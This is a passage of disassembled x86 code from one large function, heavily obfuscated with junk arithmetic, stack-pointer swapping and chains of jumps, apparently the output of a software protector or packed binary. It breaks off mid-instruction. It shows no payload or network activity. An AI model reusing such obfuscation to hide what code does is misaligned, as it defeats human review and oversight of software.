[esp-6EC0h+arg_6EB6+2] mov esp, [esp-6EC4h+arg_6EBA+2] push 7A1Ch mov [esp-6EC0h+arg_6EB6+2], edi jmp loc_592D06 ; --------------------------------------------------------------------------- loc_597B32: ; CODE XREF: sub_581EE9+1971Cj mov edi, 7E1818D4h mov ebp, edi pop edi jmp loc_59AB32 ; --------------------------------------------------------------------------- loc_597B3F: ; CODE XREF: sub_581EE9+180F8j push esi mov esi, 4 add eax, esi mov esi, [esp-6EC0h+arg_6EB6+2] jmp loc_59DEDA ; --------------------------------------------------------------------------- loc_597B4F: ; CODE XREF: sub_581EE9+14161j mov edx, 4 add ecx, edx jmp loc_594A07 ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_59C34B ; --------------------------------------------------------------------------- loc_597B63: ; CODE XREF: sub_581EE9+13740j xchg edi, [esp-6E94h+arg_6E8A+2] jmp loc_5A0F70 ; --------------------------------------------------------------------------- loc_597B6B: ; CODE XREF: sub_581EE9+1B724j xchg edi, [esp-6E94h+arg_6E8A+2] pop esp sub esi, 4 xchg esi, [esp-6E98h+arg_6E8E+2] pop esp mov [esp-6E9Ch+arg_6E92+2], ebx xor [esp-6E9Ch+arg_6E92+2], 14C94B37h mov eax, [esp-6E9Ch+arg_6E92+2] add esp, 4 jmp loc_59F932 ; --------------------------------------------------------------------------- loc_597B8E: ; CODE XREF: sub_581EE9+24BE2j pop ebx inc ebx xor ebx, 33051AB0h push 4855h jmp loc_5A33FD ; --------------------------------------------------------------------------- loc_597BA0: ; CODE XREF: sub_581EE9+1425Ej inc edi add edi, 0DD24B45h xor edi, 0A0978027h mov eax, edi pop edi add eax, 6489636Bh sub eax, 39693D6Ah jmp loc_5A28FA ; --------------------------------------------------------------------------- loc_597BBF: ; CODE XREF: sub_581EE9+1956Dj mov edx, 0A53BE5h add [esp-6E92h+arg_6E8E], edx mov edx, [esp-6E92h+arg_6E8A] add esp, 4 sub [esp-6E96h+arg_6E8E], eax sub [esp-6E96h+arg_6E8E], 0A53BE5h push esi jmp loc_59E1BD ; --------------------------------------------------------------------------- loc_597BE1: ; CODE XREF: sub_581EE9+25111j push ebp mov ebp, 3644DA4h sub ebp, 2F5F4A67h jmp loc_5999BB ; --------------------------------------------------------------------------- loc_597BF2: ; CODE XREF: sub_581EE9+20934j mov [esp-6E8Eh+arg_6E84+2], ebx mov ebx, 5F3538CFh xor ecx, ebx pop ebx push ecx xchg ebp, [esp-6E8Eh+arg_6E84+2] jmp loc_59342F ; --------------------------------------------------------------------------- loc_597C06: ; CODE XREF: sub_581EE9+1F23Aj or eax, 80F0093h push ebp push esi jmp loc_598213 ; --------------------------------------------------------------------------- loc_597C12: ; CODE XREF: sub_581EE9+1F8F3j push 2416h mov dword ptr [esp-6E82h+arg_6E7A], ecx push eax mov eax, 77942825h sub eax, 599E2744h neg eax inc eax xor eax, 4B0B1CA8h add eax, 0CFB56588h mov ecx, eax jmp loc_594783 ; --------------------------------------------------------------------------- push ebp push ebx mov ebx, 42FD70DAh mov ebp, 42FD70DAh xor ebp, ebx pop ebx sub esp, 4 mov [esp-6E76h+arg_6E6E], edx sub esp, 4 push 917h mov [esp-6E6Eh+arg_6E64+2], esp add [esp-6E6Eh+arg_6E64+2], 4 jmp loc_599F52 ; --------------------------------------------------------------------------- loc_597C68: ; CODE XREF: sub_581EE9+1E410j add edx, 4 xchg edx, [esp-6E6Eh+arg_6E64+2] pop esp jmp loc_5961FD ; --------------------------------------------------------------------------- loc_597C74: ; CODE XREF: sub_581EE9+125E8j xchg ebx, [esp-6E9Eh+arg_6E96] jmp loc_59D11F ; --------------------------------------------------------------------------- loc_597C7C: ; CODE XREF: sub_581EE9+18C74j add di, 1 push bp jmp loc_5A391B ; --------------------------------------------------------------------------- loc_597C87: ; CODE XREF: sub_581EE9+13FF4j push esi jmp loc_595B2C ; --------------------------------------------------------------------------- loc_597C8D: ; CODE XREF: sub_581EE9+11B15j and ebx, 758914CEh sub ebx, 0A7EA9549h mov esi, ebx pop ebx not esi jmp loc_596644 ; --------------------------------------------------------------------------- loc_597CA3: ; CODE XREF: sub_581EE9+100A5j sub [esp-6EAEh+arg_6EA8+2], 79E82679h sub [esp-6EAEh+arg_6EA8+2], ecx add [esp-6EAEh+arg_6EA8+2], 79E82679h pop ecx push [esp-6EB2h+arg_6EA8+2] pop ecx push esi push esp pop esi jmp loc_5944AB ; --------------------------------------------------------------------------- loc_597CC4: ; CODE XREF: sub_581EE9+19E7Cj mov ebp, 316013Eh shl ebp, 3 dec ebp jmp loc_5A1098 ; --------------------------------------------------------------------------- loc_597CD2: ; CODE XREF: sub_581EE9+10260j mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp-6EB2h+arg_6EA8+2] pop esp jmp loc_591F70 ; --------------------------------------------------------------------------- loc_597CE3: ; CODE XREF: sub_581EE9+1F0C3j add edx, 1 sub edx, 4D71F8A6h jmp loc_5A608C ; --------------------------------------------------------------------------- loc_597CF1: ; CODE XREF: sub_581EE9+17B1Dj pop esp jmp loc_591F70 ; --------------------------------------------------------------------------- loc_597CF7: ; CODE XREF: sub_581EE9+1F916j add esp, 4 push [esp-6EBEh+arg_6EB6] jmp loc_59FB12 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6EBAh+arg_6EB2] push esi mov esi, esp jmp loc_5A3765 ; --------------------------------------------------------------------------- loc_597D0E: ; CODE XREF: sub_581EE9+20FA8j add ebp, 4 xchg ebp, [esp-6EB6h+arg_6EAC+2] pop esp add esp, 4 add edx, 4 jmp loc_59C9F4 ; --------------------------------------------------------------------------- loc_597D20: ; CODE XREF: sub_581EE9+20F88j add ebx, edi pop edi push 0D2Ch mov [esp-6EBEh+arg_6EB6], ebp jmp loc_597F99 ; --------------------------------------------------------------------------- loc_597D30: ; CODE XREF: sub_581EE9+169B5j sub esp, 4 mov [esp-6EBAh+arg_6EB2], edx mov edx, ebx mov ebp, edx pop edx jmp loc_5A52D2 ; --------------------------------------------------------------------------- loc_597D43: ; CODE XREF: sub_581EE9+153AAj pop esp push ebp mov ebp, 4 sub ebx, 222B5FA3h sub ebx, ebp add ebx, 222B5FA3h pop ebp push 7EBBh mov dword ptr [esp-6EAAh+arg_6EA2], ebx jmp loc_5A3426 ; --------------------------------------------------------------------------- loc_597D66: ; CODE XREF: sub_581EE9+1C562j sub esp, 4 mov [esp-6EA6h+arg_6E9E], edi mov edi, 0 jmp loc_5965BF ; --------------------------------------------------------------------------- loc_597D79: ; CODE XREF: sub_581EE9+19798j add ebx, eax add ebx, 129049C2h jmp loc_59C61D ; --------------------------------------------------------------------------- loc_597D86: ; CODE XREF: sub_581EE9+18D03j dec ebp or ebp, 4AA54079h push edi mov edi, 53E033B3h xor ebp, edi pop edi and ebp, 53945AEh add ebp, 750B0968h add ebx, ebp push [esp-6EA6h+arg_6E9E] push [esp-6EA2h+arg_6E9A] pop ebp add esp, 4 jmp loc_594D98 ; --------------------------------------------------------------------------- loc_597DB6: ; CODE XREF: sub_581EE9+2514Aj neg esi sub esi, 43472D42h add esi, 4AA49889h add ecx, esi pop esi sub ecx, 7F95635h add ecx, edi add ecx, 7F95635h sub ecx, 32524ACDh pop edi xchg ecx, [esp-6EAEh+arg_6EA4+2] mov esp, [esp-6EAEh+arg_6EA4+2] shl word ptr [esp-6EAEh+arg_6EA4+2], cl pushf jmp loc_59710A ; --------------------------------------------------------------------------- loc_597DEC: ; CODE XREF: sub_581EE9+15A05j sub eax, 4 xchg eax, [esp-6E6Ah+arg_6E60+2] pop esp mov [esp-6E6Eh+arg_6E64+2], ebp mov ebp, 57E45454h mov edi, 4EB421BCh xor edi, ebp jmp loc_5A1EB8 ; --------------------------------------------------------------------------- loc_597E09: ; CODE XREF: sub_581EE9+1D78Dj or bl, 8Bh jmp loc_59EDF9 ; --------------------------------------------------------------------------- loc_597E11: ; CODE XREF: sub_581EE9+22DBBj mov [esp-6E6Eh+arg_6E64+2], esp jmp loc_5A1490 ; --------------------------------------------------------------------------- loc_597E19: ; CODE XREF: sub_581EE9+2066Fj mov [esp-6E6Eh+arg_6E64+2], esp jmp loc_593599 ; --------------------------------------------------------------------------- loc_597E21: ; CODE XREF: sub_581EE9+165DDj mov edx, 9856442h dec edx add edx, 38506477h add edx, 0FD458EDAh add ecx, edx jmp loc_595BA9 ; --------------------------------------------------------------------------- loc_597E3A: ; CODE XREF: sub_581EE9+18280j sub ebx, 50E367A2h add edi, ebx pop ebx add ecx, edi mov edi, [esp-6E72h+arg_6E68+2] add esp, 4 add ecx, 2 push ecx jmp loc_59DC62 ; --------------------------------------------------------------------------- loc_597E54: ; CODE XREF: sub_581EE9+24C43j pop [esp-6E72h+arg_6E68+2] push eax mov eax, 4 jmp loc_595C6E ; --------------------------------------------------------------------------- loc_597E62: ; CODE XREF: sub_581EE9+207A6j add ebx, 244C5F45h sub ebx, 5AA07129h sub ebx, 405546B2h jmp loc_5A709F ; --------------------------------------------------------------------------- loc_597E79: ; CODE XREF: sub_581EE9+12F8Aj add esp, 4 push edx mov edx, 227E5EF4h and edx, 783A1356h inc edx or edx, 2619558Dh jmp loc_5951EE ; --------------------------------------------------------------------------- loc_597E97: ; CODE XREF: sub_581EE9+112D8j mov ebp, esi pop esi add ebp, 19E70101h shl ebp, 6 jmp loc_59B7A6 ; --------------------------------------------------------------------------- loc_597EA8: ; CODE XREF: sub_581EE9+1308Bj inc ebx push 66E2h mov [esp-6E88h+arg_6E80], edx mov edx, 137712B9h jmp loc_59E918 ; --------------------------------------------------------------------------- loc_597EBB: ; CODE XREF: sub_581EE9+18222j xchg eax, [esp-6E88h+arg_6E80] pop esp jmp loc_5A026B ; --------------------------------------------------------------------------- loc_597EC4: ; CODE XREF: sub_581EE9+1B3C2j push edx push eax mov eax, 7B5E1770h jmp loc_597A1D ; --------------------------------------------------------------------------- loc_597ED0: ; CODE XREF: sub_581EE9+24C6Ej add ebp, 4 jmp loc_599E88 ; --------------------------------------------------------------------------- loc_597EDB: ; CODE XREF: sub_581EE9+17D63j mov [esp-6E84h+arg_6E7C], edx jmp loc_5A11A5 ; --------------------------------------------------------------------------- loc_597EE3: ; CODE XREF: sub_581EE9+14718j xor ebp, 5F9C05BAh add esi, ebp jmp loc_598A78 ; --------------------------------------------------------------------------- loc_597EF0: ; CODE XREF: sub_581EE9+1A1EBj pop ebp mov esi, [esp-6E6Ah+arg_6E60+2] add esp, 4 push edx mov edx, 11FB0D00h xor edx, 4D90103Fh add edx, 0FFFFFFFFh dec edx inc edx xor edx, 5C6B1D3Ah add esi, edx pop edx push 2781h mov [esp-6E6Ah+arg_6E60+2], ebx push ecx jmp loc_59D62C ; --------------------------------------------------------------------------- loc_597F1F: ; CODE XREF: sub_581EE9+1F4E2j add esi, edx pop edx push 4C53h mov [esp-6E66h+arg_6E5C+2], ebp push edi mov edi, 1FB57003h shl edi, 1 push edx mov edx, 5F6A7712h dec edx push ebx mov ebx, 683800F0h and edx, ebx jmp loc_59ACAC ; --------------------------------------------------------------------------- loc_597F46: ; CODE XREF: sub_581EE9+11856j sub eax, edx mov edx, [esp-6E86h+arg_6E7C+2] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, dword ptr [esp-6E82h+arg_6E7A] pop esp push esi mov esi, 9145B5Ch or esi, 5B07612h inc esi and esi, 0FB16DCFh dec esi push edi mov edi, 66A0179Dh jmp loc_59E2E1 ; --------------------------------------------------------------------------- loc_597F79: ; CODE XREF: sub_581EE9+1B145j mov ebx, 2BB32908h or ebx, 5A5B506Fh shl ebx, 1 push 70FAh mov [esp-6E7Ah+arg_6E72], ecx jmp loc_596E72 ; --------------------------------------------------------------------------- loc_597F93: ; CODE XREF: sub_581EE9+20A53j pop edx jmp loc_5A4A09 ; --------------------------------------------------------------------------- loc_597F99: ; CODE XREF: sub_581EE9+15E42j push edx mov edx, 2 mov ebp, edx pop edx add ebx, ebp jmp loc_5A37BF ; --------------------------------------------------------------------------- loc_597FA9: ; CODE XREF: sub_581EE9+12716j pop eax push eax push esi mov esi, 492635FCh jmp loc_5A46B0 ; --------------------------------------------------------------------------- loc_597FB6: ; CODE XREF: sub_581EE9+193CCj add ch, 0E1h jmp loc_5965B5 ; --------------------------------------------------------------------------- loc_597FBE: ; CODE XREF: sub_581EE9+193D7j xchg esi, [esp-6E80h+arg_6E76+2] mov esp, [esp-6E80h+arg_6E76+2] mul cx push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_594F26 ; --------------------------------------------------------------------------- loc_597FD9: ; CODE XREF: sub_581EE9+20E8Fj add bl, al jmp loc_59B9FD ; --------------------------------------------------------------------------- loc_597FE0: ; CODE XREF: sub_581EE9+21B8Cj xor [esp-6E7Ch+arg_6E72+2], edx jmp loc_599A6E ; --------------------------------------------------------------------------- loc_597FE8: ; CODE XREF: sub_581EE9+23DF4j add dh, bl jmp loc_5936A6 ; --------------------------------------------------------------------------- loc_597FEF: ; CODE XREF: sub_581EE9+17A35j push 0F46h mov [esp-6E78h+arg_6E6E+2], edx push eax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_597FFE: ; CODE XREF: sub_581EE9+2150Fj add edx, 0AA00AAAh push esi mov esi, 5DB3149Ch sub esi, 0FFFFFFFFh dec esi push ecx mov ecx, 23A1A62h xor ecx, 1AAF1850h jmp loc_593E27 ; --------------------------------------------------------------------------- loc_598022: ; CODE XREF: sub_581EE9+1F09Bj push ebx push ecx mov ch, 15h mov bl, ch jmp loc_5A5F55 ; --------------------------------------------------------------------------- loc_59802D: ; CODE XREF: sub_581EE9+23CDDj add edx, 4 add edx, 4 xchg edx, [esp-6E60h+arg_6E58] pop esp xor ebp, [esp-6E64h+arg_6E5C] jmp loc_59E9F8 ; --------------------------------------------------------------------------- loc_598042: ; CODE XREF: sub_581EE9+186E4j shl edi, 4 inc edi jmp loc_5A4294 ; --------------------------------------------------------------------------- loc_59804B: ; CODE XREF: sub_581EE9+250BBj pop esi add esi, 4 jmp loc_593ED5 ; --------------------------------------------------------------------------- loc_598057: ; CODE XREF: sub_581EE9+14788j xor [esp-6E6Eh+arg_6E64+2], ebp xor ebp, [esp-6E6Eh+arg_6E64+2] jmp loc_59AB1F ; --------------------------------------------------------------------------- loc_598062: ; CODE XREF: sub_581EE9+1A4A4j dec esi jmp loc_5942EE ; --------------------------------------------------------------------------- loc_598068: ; CODE XREF: sub_581EE9+24ABAj mov edx, [esp-6E6Eh+arg_6E64+2] jmp loc_59EDC8 ; --------------------------------------------------------------------------- loc_598070: ; CODE XREF: sub_581EE9+2433Ej push ax jmp loc_5A23E4 ; --------------------------------------------------------------------------- loc_598077: ; CODE XREF: sub_581EE9+13156j add al, 0A1h jmp loc_596E43 ; --------------------------------------------------------------------------- loc_59807E: ; CODE XREF: sub_581EE9+1BCA4j push 13E929EAh jmp loc_5A16AC ; --------------------------------------------------------------------------- loc_598088: ; CODE XREF: sub_581EE9+1A44Dj push [esp-6EA2h+arg_6E9A] jmp loc_5A6FA1 ; --------------------------------------------------------------------------- loc_598090: ; CODE XREF: sub_581EE9+113FEj mov [esp-6E9Ch+arg_6E92+2], ecx push [esp-6E9Ch+arg_6E96+2] pop ecx pop [esp-6E9Ch+arg_6E92+2] jmp loc_5A1067 ; --------------------------------------------------------------------------- loc_5980A0: ; CODE XREF: sub_581EE9+1B61Bj add esp, 4 push edi mov edi, 6CF84FD5h xor ebx, edi pop edi mov edi, [esp-6EA4h+arg_6E9A+2] add esp, 4 and [edi+1Ch], ebx mov ebx, [esp-6EA8h+arg_6E9E+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 sub esp, 4 mov [esp-6EA0h+arg_6E96+2], ebx jmp loc_596F12 ; --------------------------------------------------------------------------- loc_5980D2: ; CODE XREF: sub_581EE9+22CC0j not [esp-6EA0h+arg_6E96+2] jmp loc_59FD95 ; --------------------------------------------------------------------------- loc_5980DA: ; CODE XREF: sub_581EE9+22581j sub ecx, edx pop edx jmp loc_5969DA ; --------------------------------------------------------------------------- loc_5980E2: ; CODE XREF: sub_581EE9+22AD9j inc ecx sub ecx, 646D14B1h sub ebp, ecx pop ecx pop esi jmp loc_5A5A38 ; --------------------------------------------------------------------------- loc_5980F2: ; CODE XREF: sub_581EE9+179E3j pop cx mov ch, bh pop ebx sub ch, dh jmp loc_592DA1 ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push small 746Eh mov word ptr [esp-6EB0h+arg_6EA8], ax jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59810F: ; CODE XREF: sub_581EE9+1A54Aj mov edx, esp add edx, 4 add edx, 4 xor edx, [esp-6EB0h+arg_6EA8] xor [esp-6EB0h+arg_6EA8], edx xor edx, [esp-6EB0h+arg_6EA8] mov esp, [esp-6EB0h+arg_6EA8] and ecx, ebp push [esp-6EB0h+arg_6EA8] pop ebp add esp, 4 shr ecx, 7 push 1FCEh mov [esp-6EB0h+arg_6EA8], edx jmp loc_59F08B ; --------------------------------------------------------------------------- loc_59813F: ; CODE XREF: sub_581EE9+1BB80j not si jmp loc_5A428A ; --------------------------------------------------------------------------- loc_598147: ; CODE XREF: sub_581EE9+194CAj add [esp-6EB0h+arg_6EAC], ebp pop ebp jmp loc_5975E4 ; --------------------------------------------------------------------------- loc_598151: ; CODE XREF: sub_581EE9+10557j push [esp-6EA8h+arg_6E9E+2] pop edi add esp, 4 xor edx, eax jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59815F: ; CODE XREF: sub_581EE9+149B4j xor esi, 214610BDh and esi, 1F4946C0h add esi, 0FADB3BAEh add ecx, esi pop esi jmp loc_59A59F ; --------------------------------------------------------------------------- loc_598179: ; CODE XREF: sub_581EE9+18D36j mov esp, [esp-6E94h+arg_6E8A+2] sub esp, 4 mov [esp+0], eax jmp loc_5A0421 ; --------------------------------------------------------------------------- loc_59818A: ; CODE XREF: sub_581EE9+1E463j add eax, ecx add eax, 530A18D2h push dword ptr [esp+0] pop ecx add esp, 4 xor ebx, eax jmp loc_5A23A3 ; --------------------------------------------------------------------------- loc_59819F: ; CODE XREF: sub_581EE9+1BFC9j xor edi, [esp-6E94h+arg_6E8A+2] xor [esp-6E94h+arg_6E8A+2], edi xor edi, [esp-6E94h+arg_6E8A+2] pop esp push 25AAh mov [esp-6E94h+arg_6E8A+2], esi push [esp-6E94h+arg_6E8E+2] mov esi, [esp+0] jmp loc_5A582A ; --------------------------------------------------------------------------- mov ax, [esp+0] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_59D6B7 ; --------------------------------------------------------------------------- loc_5981D4: ; CODE XREF: sub_581EE9+2014Bj mov [esp-6E8Ch+arg_6E84], ebx jmp loc_5A0136 ; --------------------------------------------------------------------------- loc_5981DC: ; CODE XREF: sub_581EE9+229B8j pop ecx sub ecx, 0AD23B19h push 625Ch mov [esp-6E8Ch+arg_6E84], ebp push 7976h jmp loc_5A3326 ; --------------------------------------------------------------------------- lodsd push edx push eax jmp loc_595D16 ; --------------------------------------------------------------------------- loc_5981FD: ; CODE XREF: sub_581EE9+1F65Fj push ebp mov ebp, edi mov [edx+30h], ebp jmp loc_5A4FBA ; --------------------------------------------------------------------------- loc_598208: ; CODE XREF: sub_581EE9+17826j add ecx, 17313765h jmp loc_596485 ; --------------------------------------------------------------------------- loc_598213: ; CODE XREF: sub_581EE9+15D24j mov esi, 5A9E534Fh mov ebp, esi pop esi xor eax, ebp pop ebp sub edi, eax pop eax push edi push [esp-6E8Eh+arg_6E84+2] pop ebx push esi jmp loc_5936C2 ; --------------------------------------------------------------------------- loc_59822C: ; CODE XREF: sub_581EE9+146E0j add esp, 4 push esi mov esi, esp jmp loc_5A119A ; --------------------------------------------------------------------------- loc_59823A: ; CODE XREF: sub_581EE9+10876j pop edx add eax, 6C96E76h sub eax, ebx push ebp mov ebp, 6C96E76h add eax, 4A126963h sub eax, ebp sub eax, 4A126963h pop ebp pop ebx push 380h jmp loc_596843 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6EC4h+arg_6EBA+2] jmp loc_59B99F ; --------------------------------------------------------------------------- loc_598269: ; CODE XREF: sub_581EE9+1EA71j pop ebx mov eax, edi pop edi add ebx, 63673DA9h push eax push edi mov edi, 348C64B7h mov eax, 7401B740h sub eax, edi pop edi sub ebx, eax pop eax jmp loc_59323E ; --------------------------------------------------------------------------- loc_59828A: ; CODE XREF: sub_581EE9+1C9D1j add ebp, 4 add ebp, 4 xchg ebp, [esp-6ECCh+arg_6EC2+2] jmp loc_5948EB ; --------------------------------------------------------------------------- loc_59829E: ; CODE XREF: sub_581EE9+17F09j pop edx push 2A12h mov [esp-6ECCh+arg_6EC2+2], ebp jmp loc_59EA04 ; --------------------------------------------------------------------------- loc_5982AC: ; CODE XREF: sub_581EE9+1BCF7j add eax, esi pop esi push esi push ecx mov ecx, 4 mov esi, ecx pop ecx jmp loc_59F335 ; --------------------------------------------------------------------------- loc_5982BE: ; CODE XREF: sub_581EE9+1C8A4j mov edi, ebx pop ebx add edi, edx jmp loc_598FC6 ; --------------------------------------------------------------------------- loc_5982C8: ; CODE XREF: sub_581EE9+1AED1j mov ecx, esp add ecx, 4 jmp loc_5A7110 ; --------------------------------------------------------------------------- loc_5982D5: ; CODE XREF: sub_581EE9+11672j inc ebp jmp loc_5A012E ; --------------------------------------------------------------------------- loc_5982DB: ; CODE XREF: sub_581EE9+1B8FFj pop ebp mov ecx, dword ptr [esp-6E82h+arg_6E7A] add esp, 4 jmp loc_5A5925 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E86h+arg_6E7C+2] push ecx push 4889h push esp pop [esp-6E7Ah+arg_6E72] add dword ptr [esp], 4 jmp loc_593E65 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc byte ptr [esp-6E80h+arg_6E76+2], al pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59830D: ; CODE XREF: sub_581EE9+1177Ej push edi push ebx push 7A750EE0h pop ebx inc ebx xor ebx, 440E4BC9h push ebx jmp loc_5960F2 ; --------------------------------------------------------------------------- loc_598322: ; CODE XREF: sub_581EE9+15747j mov ecx, 4 jmp loc_5A5C06 ; --------------------------------------------------------------------------- loc_59832C: ; CODE XREF: sub_581EE9+19332j push ecx mov ecx, esp jmp loc_59E9D9 ; --------------------------------------------------------------------------- loc_598334: ; CODE XREF: sub_581EE9+19CF2j sub esp, 4 jmp loc_5A3745 ; --------------------------------------------------------------------------- loc_59833F: ; CODE XREF: sub_581EE9+200FFj pop edx push [esp-6E6Eh+arg_6E64+2] pop ebp add esp, 4 xor ecx, [esp-6E72h+arg_6E68+2] xor [esp-6E72h+arg_6E68+2], ecx jmp loc_59D845 ; --------------------------------------------------------------------------- loc_598355: ; CODE XREF: sub_581EE9+20F3Dj push eax mov eax, 2CEF5DCBh xchg eax, ecx not ecx xchg eax, ecx push 6161h mov [esp-6E6Ah+arg_6E60+2], ebx mov ebx, 0DE4BFD3Ah xor eax, ebx pop ebx add edi, eax pop eax sub edi, ebx sub edi, 0D5B5F0Eh pop ebx push ebp mov ebp, 682B724Bh push esi mov esi, 54BC51C9h sub esi, 4D2D345Dh dec esi sub esi, 65810B8Dh dec esi add esi, 6DDC1399h and ebp, esi pop esi add ebp, 0D4D43CA2h sub edi, ebp mov ebp, [esp-6E72h+arg_6E68+2] add esp, 4 xor eax, edi mov edi, [esp-6E76h+arg_6E6E] sub esp, 4 mov [esp-6E72h+arg_6E68+2], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-6E72h+arg_6E68+2] pop esp xor ebx, eax mov dx, word ptr [esp-6E76h+arg_6E6E] push 4E21h mov [esp-6E72h+arg_6E68+2], eax jmp loc_5992FC ; --------------------------------------------------------------------------- loc_5983DC: ; CODE XREF: sub_581EE9+19B34j pop ebx sub ecx, edx pop edx sub ecx, 36D3A0Ah shr ecx, 8 xchg esi, ecx push esi push edx pop esi pop edx not edx xchg edx, esi jmp loc_5A4BF2 ; --------------------------------------------------------------------------- loc_5983F8: ; CODE XREF: sub_581EE9+1B07Ej pop esi push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push [esp-6E76h+arg_6E72] pop ebx pop [esp-6E76h+arg_6E6E] pop esp jmp loc_59DDA3 ; --------------------------------------------------------------------------- loc_598414: ; CODE XREF: sub_581EE9+13BC4j pop ecx jmp loc_596A54 ; --------------------------------------------------------------------------- loc_59841A: ; CODE XREF: sub_581EE9+1F21Fj push ebp mov ebp, 4 add ebx, ebp jmp loc_593F23 ; --------------------------------------------------------------------------- loc_598427: ; CODE XREF: sub_581EE9+14B22j sub al, 0C4h sub esp, 4 mov [esp-6EB6h+arg_6EAC+2], ebx push ecx push ebx mov bh, al mov cl, bh mov ebx, [esp-6EAEh+arg_6EA4+2] jmp loc_5A269B ; --------------------------------------------------------------------------- loc_598440: ; CODE XREF: sub_581EE9+1E893j push ebp jmp loc_5A024E ; --------------------------------------------------------------------------- loc_598446: ; CODE XREF: sub_581EE9+1963Fj mov ebx, esp push edi jmp loc_5A22FD ; --------------------------------------------------------------------------- loc_59844E: ; CODE XREF: sub_581EE9+22369j push dword ptr [esp] jmp loc_596A04 ; --------------------------------------------------------------------------- loc_598456: ; CODE XREF: sub_581EE9+15A68j push esp pop edi push ebx mov ebx, 562B18F0h push edi mov edi, 0F6C02B7h add edi, 7FBE68B7h dec edi xor edi, 0D9017399h xor ebx, edi jmp loc_59C419 ; --------------------------------------------------------------------------- loc_598478: ; CODE XREF: sub_581EE9+140CAj pop esi push 6C6Fh mov [esp-6E68h+arg_6E60], ecx push edx push eax mov eax, 759E4015h jmp loc_592F37 ; --------------------------------------------------------------------------- loc_59848D: ; CODE XREF: sub_581EE9+1EFF5j add edx, esi pop esi xchg edx, [esp-6E64h+arg_6E5C] mov esp, [esp-6E64h+arg_6E5C] xor eax, edi push [esp-6E64h+arg_6E5C] pop edi add esp, 4 push esi mov esi, esp jmp loc_59AF3E ; --------------------------------------------------------------------------- loc_5984A7: ; CODE XREF: sub_581EE9+205FAj pop [esp-6E64h+arg_6E5C] jmp loc_5A26A7 ; --------------------------------------------------------------------------- loc_5984AF: ; CODE XREF: sub_581EE9+190B0j mov edx, esp jmp loc_5A2EB0 ; --------------------------------------------------------------------------- loc_5984B6: ; CODE XREF: sub_581EE9+19050j mov bl, ch not bl mov ch, bl push [esp-6E68h+arg_6E60] pop ebx jmp loc_5A616B ; --------------------------------------------------------------------------- loc_5984C5: ; CODE XREF: sub_581EE9+19131j push edx jmp loc_597E21 ; --------------------------------------------------------------------------- loc_5984CB: ; CODE XREF: sub_581EE9+1B2ADj push ebx mov bl, 4Ch mov dl, bl pop ebx jmp loc_595AB2 ; --------------------------------------------------------------------------- loc_5984D6: ; CODE XREF: sub_581EE9+22E7Cj push 5023h mov [esp-6E60h+arg_6E58], edx mov edx, 4 sub ebp, 45537358h jmp loc_594579 ; --------------------------------------------------------------------------- loc_5984EE: ; CODE XREF: sub_581EE9+176BFj add al, 9 add al, cl sub al, 9 push 4EB1h mov [esp-6E5Ch+arg_6E54], ecx jmp loc_59B299 ; --------------------------------------------------------------------------- loc_598501: ; CODE XREF: sub_581EE9+20AFCj shl ebp, 8 add ebp, 7A91072h xor ebp, 219BD176h sub eax, 5C9A7B26h add eax, ebp add eax, 5C9A7B26h pop ebp xchg eax, [esp-6E60h+arg_6E58] pop esp push [esp-6E64h+arg_6E5C] pop ecx add esp, 4 xor ecx, 26F0253Ah jmp loc_5987FF ; --------------------------------------------------------------------------- loc_598536: ; CODE XREF: sub_581EE9+23CB4j add edi, 333D01C4h sub edi, 5B87325Eh sub edi, ebp add edi, 5B87325Eh sub edi, 333D01C4h pop ebp jmp loc_5A484A ; --------------------------------------------------------------------------- loc_598556: ; CODE XREF: sub_581EE9+198DBj push eax not [esp-6E68h+arg_6E60] pop eax sub eax, 1A4BF2DFh add ecx, 305F4750h sub ecx, eax sub ecx, 305F4750h mov eax, [esp-6E6Ch+arg_6E64] add esp, 4 push edi push eax mov eax, 11C82BC7h dec eax add eax, 12591398h add eax, 18F94DCBh add eax, 24CC6636h not eax sub eax, 66E0E8AAh mov edi, eax pop eax jmp loc_59B2C5 ; --------------------------------------------------------------------------- loc_59859D: ; CODE XREF: sub_581EE9+12BECj xchg esi, [esp-6E6Ch+arg_6E64] mov esp, [esp-6E6Ch+arg_6E64] mov [esp-6E6Ch+arg_6E64], ebp jmp loc_59975F ; --------------------------------------------------------------------------- loc_5985AB: ; CODE XREF: sub_581EE9+12A84j xchg eax, ecx jmp loc_592E47 ; --------------------------------------------------------------------------- loc_5985B1: ; CODE XREF: sub_581EE9+180F1j mov dh, 0F2h xor dh, cl pop ecx push eax mov al, dh not al jmp loc_594372 ; --------------------------------------------------------------------------- loc_5985C0: ; CODE XREF: sub_581EE9+13300j pop ecx add esi, ecx jmp loc_592C2F ; --------------------------------------------------------------------------- loc_5985C8: ; CODE XREF: sub_581EE9+1C6BAj pop ecx push edx push esp mov edx, [esp-6EA6h+arg_6E9E] add esp, 4 add edx, 4 jmp loc_5940FE ; --------------------------------------------------------------------------- loc_5985DC: ; CODE XREF: sub_581EE9+225EBj mov dword ptr [esp-6EAAh+arg_6EA2], esp add dword ptr [esp-6EAAh+arg_6EA2], 4 pop ecx push ebp mov ebp, 1C3B778Ch xor ebp, 1C3B7788h jmp loc_5A17E1 ; --------------------------------------------------------------------------- loc_5985F8: ; CODE XREF: sub_581EE9+20C97j add ebx, 4 xchg ebx, dword ptr [esp-6EAAh+arg_6EA2] jmp loc_59F142 ; --------------------------------------------------------------------------- loc_598606: ; CODE XREF: sub_581EE9+1CBB8j push ecx mov cl, 0EEh jmp loc_59B37B ; --------------------------------------------------------------------------- loc_59860E: ; CODE XREF: sub_581EE9+14D55j xor edx, 633B3B69h jmp 